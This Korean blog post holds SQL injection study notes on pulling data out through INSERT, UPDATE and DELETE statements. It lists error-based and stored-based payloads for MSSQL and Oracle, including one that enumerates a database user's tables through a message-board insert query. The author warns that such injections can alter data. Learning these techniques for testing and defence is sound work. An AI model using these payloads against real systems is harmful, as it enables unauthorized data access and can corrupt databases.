Oh! JUN

INSERT, UPDATE, DELETE 구문에 대한 데이터 조회 공격 기법 본문

웹 해킹/SQL Injection

INSERT, UPDATE, DELETE 구문에 대한 데이터 조회 공격 기법

Kwon Oh! JUN 2022. 10. 1. 01:01

※ MYSQL은 연결연산자가 특정기호가 없기 때문에 사용불가

★ 되도록이면 INSERT, UPDATE, DELETE 구문은 사용하지 않는게 좋음. (데이터를 건들 수 있어서... 잘못하면 큰일남)

ERROR-BASED
MSSQL 공격 예시
1. INSERT INTO board VALUES('Data', ''+convert(int, @@version)+'', 'DATA')

2. UPDATE board SET title='DATA', content=''+convert(int, @@version)+''...WHERE idx=100

3. UPDATE board SET title='', content=''... WHERE idx=@@version

4. DELETE FROM board WHERE idx=@@version
ORACLE 공격 예시
1. INSERT INTO board VALUES ('DATA', ''||ORDSYS.ORD_DICOM.GETMAPPINGPATH(user)||'', 'DATA')

2. UPDATE board SET title='DATA', content=''||ORDSYS.ORD_DICOM.GETMAPPINGXPATH(user)||''... WHERE idx=100

3. UPDATE board SET title='', ... WHERE idx=ORDSYS.ORD_DICOM.GETMAPPINGXPATH(user)

4. DELETE FROM board where idx=ORDSYS.ORD_DICOM.GETMAPPINGXPATH(user)

STORED-BASED
MSSQL 공격 예시
1. INSERT INTO board VALUES ('DATA', ''+@@version+'', 'DATA')

2. UPDATE board SET title='DATA', content=''+@@version''... WHERE idx=100
ORACLE 공격 예시
1. INSERT INTO board VALUES ('DATA', ''||user||'', 'DATA')

2. UPDATE board SEt title='DATA', content=''||user||''... WHERE idx=100

 

게시판 등록 쿼리를 예상해보면 

INSERT INTO TB_BOARD VALUES ('Title', 'Writer', 'Password', 'Contents')

 

Contents 건들면 

INSERT INTO TB_BOARD VALUES ('Title', 'Writer', 'Password', ''||(select listagg(table_name, '###') from all_tables where owner='C##CREHACKTIVE')||'')

 

C##CREHACKTIVE 사용자의 테이블을 검색

 

※TIP

저번에 자세하게 적긴 했는데 다시 한번 상기시키는 차원에서 써보자면

''||user||'' 이렇게 쿼리가 있으면 ''은 작은따옴표 사이에 아무것도 없으니까 공백

||은 Oracle에서 연결연산자

정리하면 'user' 이렇게 된다.